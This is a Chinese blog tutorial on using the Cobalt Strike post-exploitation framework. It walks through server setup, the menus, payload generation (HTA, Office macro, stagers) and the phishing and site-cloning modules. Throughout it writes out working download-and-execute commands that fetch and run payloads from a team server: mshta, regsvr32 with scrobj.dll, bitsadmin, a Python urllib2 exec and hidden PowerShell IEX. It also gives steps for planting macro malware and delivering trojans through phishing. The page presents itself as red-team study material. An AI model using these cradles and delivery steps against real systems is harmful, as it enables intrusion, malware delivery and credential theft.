02.CobaltStrike 渗透框架
本文最后更新于514 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、CobaltStrike 框架介绍

1.CobaltStrike 简介

Cobalt Strike(简称 CS)是一款高级的红队工具,广泛用于网络安全领域的渗透测试和后渗透活动。 它是一个多用途的后渗透框架,提供了丰富的功能,包括但不限于横向移动、凭证访问、数据窃取和 社会工程攻击。

CS由客户端(Operator Console)和服务端(Team Server)组成,支持多客户端与多服务端的连接配 置,以适应不同的渗透测试需求。

2.CobaltStrike 目录结构

Pasted image 20250123143539.png

二、CobaltStrike 基本使用

1.CS 启动

  • 启动服务端
  1. 给程序添加执行权限
cd Server

chmod +x teamserver

chmod +x TeamServerImage
  1. 启动服务端
./teamserver [服务端IP地址] [服务端连接密码]

Pasted image 20250123153846.png

  • Linux启动客户端
    打开一个新的命令行终端,执行如下命令
cd Client

chmod +x cobaltstrike-client.sh

./cobaltstrike-client.sh
  • Windows启动客户端
  1. 直接点击vbs脚本,弹出登录框
    Pasted image 20250123154538.png
  • 如果无法运行请检查
  • cs 客户端文件路径是否包含中文,如有,请去除中文
  • 系统空闲内存是否大于 4GB,如没有,请关闭其他软件及进程
  • 检查系统是否已经安装并正确配置了 jdk,如没有,请正确安装和配置

Pasted image 20250123155304.png

  • Alias:别名,用户名@服务端 IP 地址
  • Host:服务端 IP 地址,可为域名
  • Port:服务端口号,默认 50050,可进行修改
  • User:用户名,可随意填写,只要不冲突即可
  • Password:登录密码,启动服务端时设置的密码
  1. 成功连接到服务端
    Pasted image 20250123155624.png

2.CS 工具栏

Pasted image 20250123163407.png

  1. Connect to team server:连接服务端
  2. Disonnect from team server:断开当前服务端连接
  3. Configure Listeners:配置监听器
  4. Show sessions in graph view:展示会话列表
  5. Show sessions in table view:展示视图列表 .
  6. Show targets in table view:展示目标列表
  7. Manage Web Server:管理 Web 服务 .
  8. Credentials:查看从靶机获取的账户密码
  9. Downloaded Files:查看从靶机下载的文件
  10. Keystrokes:查看键盘记录
  11. Screenshots:查看屏幕截图

3.CS 菜单

Pasted image 20250123163852.png

  1. New Connection:进行另外一个连接,支持连接多个服务器端
  2. Preferences:设置 Cobal Strike 界面、控制台、以及输出报告样式、TeamServer 连接记录
  3. Visualization:主要展示输出结果的形式
  4. Listenrs:创建一个 Listener
  5. VPN Interfaces:设置 VPN 接口 .
  6. Malleable C2 Profile:CS 默认 C2 配置文件
  7. Script Manager:脚本管理器,允许用户浏览、加载和组织 Aggressor 脚本 .
  8. Script Console:脚本控制台,在交互式界面中执行单个 Aggressor 脚本命令或脚本块
  9. Close:退出连接

4. View 菜单

  1. Applications:显示受害主机的应用信息,浏览器版本信息
  2. Credentials:显示所有已获取的受害主机的凭证,如使用 hashdump、Mimikatz 获取到的密码凭 证信息
  3. Downloads:查看已下载文件
  4. Event Log:主机上线记录以及团队协作聊天记录
  5. Keystrokes:查看键盘记录结果 .
  6. Proxy Pivots:查看代理模块
  7. Screenshots:查看所有屏幕截图 .
  8. Script Console:脚本控制台,加载第三方脚本以增强功能
  9. Targets:显示所有受害主机
  10. Web Log :所有访问 Web 服务的日志记录

5.Payloads 菜单

  1. HTML Application
  2. MS Office Macro
  3. Stager Payload Generator
  4. Stageless Payload Generator
  5. Windows Stager Payload .
  6. Windows Stageless Payload
  7. Windows Stageless Generate All Payloads

1)VBScript 脚本基础

www.runoob.com

2)HTML Application

  1. 简介:HTA 是一种可以封装 HTML、JavaScript 和其他 Web 技术的 Microsoft 技术,它允许创建交互式的应用程序,这些应用程序可以在 Windows 环境中运行。在渗透测试中,攻击者可能会滥用HTA 来执行恶意代码,因为用户可能会被诱导点击一个链接或打开一个附件,从而在他们的机器上运 行 HTA 文件。
  2. 作用:生成一个运行攻击载荷的 HTML 应用程序。
    Pasted image 20250123191913.png

Method:三种运行攻击载荷的方法:

  • Executable:是以十六进制的方式内嵌一个 EXE 到 HTA 里,运行时把 exe 释放到磁盘然后创建进程运行
  • Powershell:通过 HTA 调用 powershell.exe 执行 payload
  • VBA:通过调用 COM 组件来执行 payload (请确保目标机有 Excel.Application 组件否则会运行失败,注:组件源自 Office)

(1)Executable

1.生成payload

Pasted image 20250123191913.png

2.双击执行生成的hta文件
如果报错,解决方法详见hta-execute.pdf

(2)Powershell

1.生成payload

Pasted image 20250123225347.png

2.双击执行生成的 hta 文件,成功上线 beacon 会话

3.远程加载上线

  • 使用 Host File 提供文件下载服务托管 hta 文件
    Site Management > Host File
    Pasted image 20250124194909.png

    File:选择生成的evil.hta文件
    Local URI:文件URI路径
    Local Host:Web服务IP
    Local Port:Web服务端口
    Mime Type:Mime类型

  • Launch > 生成访问 hta 文件的 URL 地址
    Pasted image 20250124195003.png

  • 远程加载 hta 文件
    打开 cmd 命令行执行如下命令

mshta http://10.34.126.129:802/download/file.ext

Pasted image 20250124211927.png

  • 成功上线新的 beacon 会话
    Pasted image 20250124212132.png

4.选中要操作的目标主机,右键interact进入交互命令界面,在此使用Beacon Commands对victim 主机执行各种操作。
如:
设置睡眠周期(秒): sleep 2
执行命令: shell whoami
查看可用命令: help
Pasted image 20250124213923.png

(3)VBA

在安装有 Office 套件的 windows 主机上双击执行 hta 文件,即可成功上线新的 beacon 会话

3)MS Office Macro

  • 简介:生成 Office 宏病毒文件
  • 生成步骤: Payloads -> MS Office Macro -> Copy
  • 利用方法:将代码放到 Word 宏里面,另存为启用宏的Word文档(*.docm),受害者点击启用内 容,即可上线。
    Pasted image 20250124214558.png

实操实验:[[02.1 CobaltStrike之宏钓鱼及shellcode]]

4)Stager Payload Generator

  • 简介:生成第一阶段的有效载荷(stager)
  • 功能:在目标系统上建立一个初始的、有限功能的 Beacon。这个 Beacon 会与攻击者的团队服务器 建立通信,并下载第二阶段的有效载荷(stage)
  • output(输出格式)
C
C#
COM Scriptlet
Java
Perl
Powershell
Powershell Command
Python
Raw
Ruby
Veil
VBA
  • COM Scriptlet
    COM Scriptlet 是一种COM对象,它可以在 HTML 文件中嵌入脚本代码,并在客户端的浏览器中执 行。当浏览器打开 HTML 页面时, COM Scriptlet 会被自动加载和执行,以便在客户端上运行脚本。

生成 payload.sct 文件,注意不要勾选Use x64 payload
Regsvr32 命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
1.执行本地 Com Scriptlet 获取反向 Shell

regsvr32.exe /n /s /u /i:payload.sct scrobj.dll
regsvr32.exe:注册 DLL 文件的命令行工具。 
/n:表示不运行 DLL 中的 DllRegisterServer 函数。
/s:表示在注册过程中不显示任何消息框。
/u:表示注销 DLL 文件,而不是注册。
/i:payload.sct:指定sct脚本文件,包含了要执行的注册或注销操作的指令。
scrobj.dll:是一个与 Windows Scripting Host 相关的动态链接库(DLL),它允许使用 VBScript 或 JScript 等脚本语言创建 COM 组件。这个 DLL 作为 COM 服务器,提供了一些接口和功能,使得脚本可以被注册、卸载,并且可以执行特定的脚本代码。

2.执行远程 Com Scriptlet 获取反向 Shell
把 payload.sct 文件托管到web服务器,或者使用 CobaltStrike 的Host File 功能,使用如下方法加载执行上线。

regsvr32 /u /s /i:http://10.34.126.129:809/do/file.ext scrobj.dll

/i:url:指定一个 URL, scrobj.dll 会从该 URL 下载并执行 SCT 脚本。

  • Powershell
powershell -ep bypass -f payload.ps1
  • Powershell Command
    生成一句话 powershell 命令

  • RAW
    原始 shellcode,无特殊格式

  • Veil
    配合 Veil-Framework 框架使用的 shellcode
    https://github.com/Veil-Framework/Veil

5)Stageless Payload Generator

简介:创建一个包含所有所需功能的一次性有效载荷,而不是分阶段下载。
Pasted image 20250125095542.png

6)Windows Stager Payload

简介:这是专门为 Windows 系统设计的第一阶段有效载荷。它通常是一个小型的、隐蔽的程序片段,用于在目标机器上建立一个通信通道,并准备接收第二阶段的有效载荷。
Pasted image 20250125101743.png

生成 exe 木马上线

  1. 生成 Windows 可执行程序木马文件
  2. 上传木马到目标机器:通过 Webshell 上传执行,通过引诱目标下载,钓鱼
  3. 执行木马文件,等待 Beacon 回连 CS

7)Windows Stageless Payload

简介:为 Windows 系统设计的一次性有效载荷,它包含了执行完整攻击所需的所有代码和资源, 不需要后续的通信或下载。
Pasted image 20250125102541.png

8)Windows Stageless Generate All Payloads

简介:允许用户生成所有可能的 Windows stageless 有效载荷。
Pasted image 20250125102727.png

6.Attacks 菜单

1)Scripted Web Delivery

简介:开启一个 web 服务托管 payload,并根据选择的类型生成一个命令行来执行 payload 上线便于在目标主机上下载和执行
Pasted image 20250125103446.png

生成payloa类型:

  • exe
http://10.34.126.129:802/e.exe
  • python
python -c "import urllib2; exec urllib2.urlopen('http://10.34.126.129:802/a').read();"
  • bitsadmin
cmd.exe /c bitsadmin /transfer 7d0f http://124.71.45.28:802/b %APPDATA%\7d0f.exe&%APPDATA%\7d0f.exe&del %APPDATA%\7d0f.exe
  • regsvr32
regsvr32 /s /n /u /i:http://124.71.45.28:802/d scrobj.dll
  • powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.34.126.129:802/a'))"

Pasted image 20250125110029.png

Pasted image 20250125110220.png

2)Signed Applet Attack

使用 Java 自签名的程序进行钓鱼攻击(该方式已过时)
Pasted image 20250125111548.png

3)Smart Applet Attack

自动检测 Java 版本并进行攻击,针对 Java 1.6.0_45 以下以及 Java 1.7.0_21 以下版本
Pasted image 20250125111819.png

4)System Profiler

简介:用来获取一些系统信息,比如系统版本,Flash 版本,浏览器版本等 作用:可以用于前期信息收集,可以通过水坑式攻击来获取目标所用的软件以及操作系统来针对性 的攻击。
Pasted image 20250125112202.png

Pasted image 20250125112701.png

5)Spear Phish

简介:用来邮件钓鱼的模块,鱼叉钓鱼攻击

Pasted image 20250125112840.png

7.Site Management 菜单

1)manager

主要管理我们所创建的 Payload 以及各类 PowerShell 管理地址
Pasted image 20250125113054.png

2)Clone Site

克隆网站,可以记录受害者提交的数据
Clone Site + System Profiler
实验:[[02.2 CobaltStrike之钓鱼攻击]]
克隆网站,还可以通过克隆的网站实现钓鱼。

8.Reporting 菜单

  1. Activity Report:本报告显示了此次参与的时间表。
  2. Hosts Report:此报告显示了在此次参与期间收集的主机信息。
  3. Indicators of Compromise:本报告记录了 Cobalt Strike 在此次攻击中产生的妥协指标。
  4. Sessions Report:此报告逐个会话地记录活动。
  5. Social Engineering Report:本报告记录了此项目的社会工程部分。
  6. Tactics, Techniques, and Procedures:这份报告将Cobalt Strike的行动映射到 MITRE的对抗战术、技术和常识( ATT&CK)矩阵。
    Reset Data:此操作将清除Cobalt Strike的数据模型。将丢失收集的所有信息。将无法取回这些信息。
    Export Data:导出数据

9.Help 菜单

  • Homepage:访问 https://www.cobaltstrike.com 主页
  • Support:进入 https://www.cobaltstrike.com/support/ 页面
  • Arsenal:进入 https://download.cobaltstrike.com/scripts 页面
  • Community Kit:进入社区插件网站
  • Sleep Manual:进入 Sleep 语言官方文档网站
  • Default Keyboard Shortcuts:默认快捷键
  • System Information:提供有关 Cobalt Strike 客户端和服务器的信息
  • About:关于,查看 Cobalt Strike 版本相关信息

10.Beacon 右键菜单

  • Interact:打开 Beacon 会话
  • Access
  1. Dump Hashes # 获取 hash
  2. Elevate # 提权
  3. Golden Ticket # 生成黄金票据注入当前会话
  4. Make token # 凭证转换
  5. Run Mimikatz # 运行 Mimikatz
  6. Spawn As # 用其他用户生成 Cobalt Strike 侦听器
  • Explore
  1. Browser Pivot # 劫持目标浏览器进程
  2. Desktop(VNC) # 桌面交互
  3. File Browser # 文件浏览器
  4. Net View # 命令 Net View
  5. Port Scan # 端口扫描
  6. Process List # 进程列表
  7. Screenshot # 截图
  • Pivoting
  1. SOCKS Server # 代理服务
  2. Listener # 反向端口转发
  3. Deploy VPN # 部署 VPN
  • Spawn:外部监听器 (如指派给 MSF,获取 meterpreter 权限)
  • Session
  1. Note # 备注
  2. Remove # 删除
  3. Sleep # 指定被控端休眠时间,默认 60 秒一次回传
  4. Exit # 退出

三、CobaltStrike 监听器详解

敬请期待

四、CobaltStrike 文档

https://wbglil.gitbook.io/cobalt-strike

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇